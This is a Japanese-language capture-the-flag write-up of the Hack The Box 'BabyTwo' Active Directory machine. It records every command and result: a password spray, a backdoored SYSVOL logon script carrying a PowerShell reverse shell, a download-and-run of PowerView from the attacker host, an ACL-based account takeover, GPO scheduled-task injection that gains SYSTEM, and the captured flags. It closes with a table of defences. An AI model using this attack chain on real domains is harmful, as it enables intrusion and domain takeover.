Hack The BoxのWriteup(BabyTwo)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: BabyTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (baby2.vl)
guest SMB homes共有
ユーザー名一覧を列挙
username=passwordスプレー
Carl.Moore:Carl.Moore
SYSVOL login.vbs改ざん
PSリバースシェル埋め込み
自動ログイン待機
amelia.griffiths → user.txt ✓
BloodHound ACLチェーン
legacy WriteDacl→gpoadm
PowerView + pyGPOAbuse
Default Domain PolicyへSYSTEMタスク注入
gpupdate → SYSTEM
root.txt ✓

ポートスキャン

BASH
ports=$(nmap -p- --min-rate=1000 -Pn -T4 10.129.234.72 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.129.234.72
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby2.vl)
| ssl-cert: Subject: commonName=dc.baby2.vl
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
51029/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
Domain: baby2.vl / DC: dc.baby2.vl
ℹ️
SMB(445)/LDAP(389)/Kerberos(88)からドメインコントローラと判明。 ドメイン名baby2.vl、DCホスト名dc.baby2.vl/etc/hostsに追加しておく。

SMB guest アクセス確認

BASH
echo "10.129.234.72 baby2.vl dc.baby2.vl" | sudo tee -a /etc/hosts
netexec smb baby2.vl -u 'guest' -p '' --shares
RESULT
SMB ... [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB ... [+] baby2.vl\guest:
SMB ... [*] Enumerated shares
  Share      Permissions  Remark
  -----      -----------  ------
  ADMIN$                  Remote Admin
  apps       READ
  C$                      Default share
  docs
  homes      READ,WRITE
  IPC$       READ         Remote IPC
  NETLOGON   READ         Logon server share
  SYSVOL     READ         Logon server share
guestで匿名アクセス可能かつhomes共有にREAD,WRITE 権限がある。
PHASE 2

homes共有からユーザー列挙 → パスワードスプレー

homes共有のホームディレクトリ一覧からユーザー名収集

BASH
smbclient -U 'guest%' '//baby2.vl/homes'
smb: \> ls
RESULT
Amelia.Griffiths   Carl.Moore   Harry.Shaw   Joan.Jennings   Joel.Hurst
Kieran.Mitchell    library      Lynda.Bailey Mohammed.Harris Nicola.Lamb
Ryan.Jenkins
ℹ️
ホームディレクトリ名 = システムユーザー名の可能性が高いためユーザーリスト化する。

username=password スプレー

BASH
netexec smb 10.129.234.72 -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB ... [+] baby2.vl\Carl.Moore:Carl.Moore
SMB ... [+] baby2.vl\library:library
Carl.Moorelibraryの2アカウントがヒット。 より実在の一般ユーザーらしいCarl.Mooreで進める。
BASH (Carl.Mooreでの共有再列挙)
netexec smb 10.129.234.72 -u Carl.Moore -p Carl.Moore --shares
RESULT
apps       READ,WRITE
docs       READ,WRITE
homes      READ,WRITE
SYSVOL     READ
PHASE 3

SYSVOLのログオンスクリプト(login.vbs)を改ざん → user.txt

SYSVOL内のログオンスクリプトを発見

BASH
smbclient -U 'Carl.Moore%Carl.Moore' '//baby2.vl/SYSVOL'
smb: \> cd baby2.vl
smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> ls
RESULT
login.vbs   A   992   Sat Sep 2 10:55:51 2023
BASH (login.vbsの中身)
get login.vbs
RESULT (抜粋)
Sub MapNetworkShare(sharePath, driveLetter)
    ...
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    ...
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
ℹ️
これはユーザーがログインするたびに実行されるログオンスクリプトで、 ネットワークドライブをマップしている。SYSVOLへの書き込み 権限があるため、このファイルを改ざんすればログインしたユーザーの コンテキストで任意コードを実行できる。

PowerShellリバースシェルの埋め込み

BASH (base64エンコードPSリバースシェル生成)
# revshells.com の "PowerShell #3 (Base64)" 等でIP/ポートを指定し生成
login.vbs への追記
Sub MapNetworkShare(sharePath, driveLetter)
    ...
End Sub

CreateObject("WScript.Shell").Run "powershell -e JABjAGwAaQBlAG4AdAAgAD0A...==", 0, True

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
BASH (SYSVOLへの再アップロード)
smbclient -U 'Carl.Moore%Carl.Moore' '//baby2.vl/SYSVOL'
smb: \> cd \baby2.vl\scripts\
smb: \baby2.vl\scripts\> del login.vbs
smb: \baby2.vl\scripts\> put login.vbs
RESULT
putting file login.vbs as \baby2.vl\scripts\login.vbs (4.2 kb/s) (average 4.2 kb/s)

リスナー待機 → user.txt 取得

BASH
nc -lvnp 9090
RESULT
listening on [any] 9090 ...
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.72] 64196
whoami
baby2\amelia.griffiths
PS C:\Windows\system32>
HTBの自動ログインシミュレーションにより数分以内に amelia.griffithsユーザーのセッションが確立され ログオンスクリプトが実行されシェルが返る。
BASH
type C:\user.txt
RESULT
42783b2c1483aeb70eca6810f0645c38
user.txt — amelia.griffiths
42783b2c1483aeb70eca6810f0645c38
PHASE 4

BloodHound ACLチェーン悪用 → GPO経由でSYSTEM権限奪取

BloodHoundでACLチェーンを調査

BASH
bloodhound-python -d baby2.vl -u Carl.Moore -p Carl.Moore -c all -ns 10.129.234.72 --dns-tcp
ℹ️
BloodHound UIでamelia.griffithsCarl.Mooreを Owned にマークし、amelia.griffithsの Outbound Object Control(Transitive)を確認すると以下のACLチェーンが見える:
1. Amelia.Griffithslegacy グループのメンバー
2. legacy グループは GPO-MANAGEMENT OU と Default Domain Policy GPOへ WriteDacl を持つ
3. GPO-MANAGEMENT OU配下の gpoadm ユーザーが Default Domain Policy / Default Domain Controllers Policy GPOへ GenericAll を持つ

WriteDaclを悪用してgpoadmアカウントを乗っ取り

BASH (Kali側: PowerViewをホスト)
python3 -m http.server 80
POWERSHELL (amelia.griffithsのシェル内)
iex (iwr -usebasicparsing http://<kali_ip>/PowerView.ps1)

add-domainobjectacl -rights "all" -targetidentity "gpoadm" -principalidentity "Amelia.Griffiths"

$cred = ConvertTo-SecureString 'Killchain123!' -AsPlainText -Force
set-domainuserpassword gpoadm -accountpassword $cred
BASH (認証確認)
netexec smb 10.129.234.72 -u gpoadm -p 'Killchain123!'
RESULT
SMB ... [+] baby2.vl\gpoadm:Killchain123!
Add-DomainObjectAclgpoadmへの完全制御権を 自分自身(amelia.griffiths)に付与し、Set-DomainUserPasswordで パスワードを変更(これらのコマンドは成功時に出力が無いため、 シェル上では何も表示されないが、この後のnetexec認証確認で パスワード変更が反映されていることが確認できる)。

pyGPOAbuseでGPOにSYSTEM権限タスクを注入

BASH
git clone https://github.com/Hackndo/pyGPOAbuse
cd pyGPOAbuse
ℹ️
BloodHoundのGPOノードのNode Info → GPO File Pathから GPOのGUIDを取得する。Default Domain PolicyのGUIDは 31B2F340-016D-11D2-945F-00C04FB984F9 — これは特定インスタンスでクラックされた値ではなく、Active Directory ドメイン作成時に必ず生成されるWindows標準の固定GUID であり全てのADドメインで共通。
BASH
python3 pygpoabuse.py baby2.vl/gpoadm:'Killchain123!' \
  -command "powershell -exec bypass -enc <base64リバースシェル>" \
  -dc-ip 10.129.234.72 \
  -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9"
RESULT
[+] ScheduledTask TASK_6a93e6e4 created!
SUCCESS:root:ScheduledTask TASK_6a93e6e4 created!
ℹ️
Default Domain PolicyGPOはドメイン全体(DCを含む)に リンクされているため、このScheduled TaskはDC上でSYSTEM権限で実行される。

gpupdate の実行とSYSTEMシェル取得

BASH (amelia.griffithsのシェル内、またはlogin.vbs経由で再実行)
gpupdate /force
BASH (Kali側リスナー)
nc -lvnp 9090
RESULT
listening on [any] 9090 ...
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.72] 64961
whoami
nt authority\system
PS C:\Windows\system32>
gpupdateによりポリシーが適用され、仕込んだScheduled TaskがSYSTEM権限で実行される。

root.txt 取得

BASH
type C:\Users\Administrator\Desktop\root.txt
RESULT
293500962edc31fa154951eeeb5740f9
root.txt — nt authority\system
293500962edc31fa154951eeeb5740f9
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — amelia.griffiths
42783b2c1483aeb70eca6810f0645c38
root.txt — nt authority\system (DC)
293500962edc31fa154951eeeb5740f9

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
弱いユーザー名=パスワード AD アカウント Carl.Moore 初期ドメイン認証情報の取得 Medium homes共有のディレクトリ名からユーザー一覧を収集しusername=passwordスプレーでヒット
書き込み可能なログオンスクリプト SYSVOL\baby2.vl\scripts\login.vbs 他ユーザーのコンテキストでの任意コード実行 Critical SYSVOLへの書き込み権限を悪用し全ドメインユーザーが実行するログオンスクリプトにリバースシェルを埋め込み
AD ACL誤設定(WriteDacl / GenericAll) legacyグループ→GPO-MANAGEMENT OU→gpoadm→GPO ドメイン全体への影響力を持つGPOの完全制御 Critical WriteDaclでgpoadmアカウントの完全制御権を取得しパスワードリセット、GenericAllでGPOへScheduled Taskを注入
GPO経由のSYSTEM権限コード実行 Default Domain Policy GPO ドメインコントローラ上でのSYSTEM権限コード実行 Critical pyGPOAbuseでScheduled TaskをGPOに注入しgpupdateで反映、DCを含む全ドメインメンバーに適用されSYSTEM権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SMB guestアクセス確認AD DC (baby2.vl) 発見
2ユーザー列挙+スプレーhomes共有ディレクトリ列挙 + username=passwordCarl.Moore:Carl.Moore
3ログオンスクリプト改ざんSYSVOL書込権限 + login.vbs改ざんamelia.griffiths シェル → user.txt
4ACL昇格PowerView Add-DomainObjectAcl + Set-DomainUserPasswordgpoadm:Killchain123!
5GPO abusepyGPOAbuse + gpupdateSYSTEM シェル → root.txt

学んだ教訓 & 防御策

問題点防御策
ドメインアカウントにユーザー名=パスワードという弱い組み合わせが許容されている パスワードポリシーでユーザー名と一致/類似するパスワードを禁止し、定期的なスプレー監査を実施する。
一般ユーザーがSYSVOL(全ドメインユーザーが実行するログオンスクリプトの格納場所)へ書き込み権限を持つ SYSVOLへの書き込み権限はDomain AdminsやGroup Policy Creator Ownersなど真に必要なグループのみに限定する。定期的にSYSVOL内スクリプトの改ざんを監視する。
一般ユーザーが所属するグループに、GPO関連オブジェクトへのWriteDacl/GenericAllという強力なACLが設定されている BloodHound等で定期的にAD ACLを監査し、GPOやOUへの委任権限を最小権限の原則で見直す。特にDefault Domain Policyのような影響範囲の広いGPOへの書き込み権限は厳格に管理する。
GPOを通じたコード実行(Scheduled Task注入)がドメイン全体、特にDCにまで影響する GPO変更の監査ログを有効化し、Scheduled Tasksの追加を異常として検知する仕組みを導入する。GPOの変更権限を持つアカウントを厳格に管理・監視する。
HackTheBox: BabyTwo | 完全攻略レポート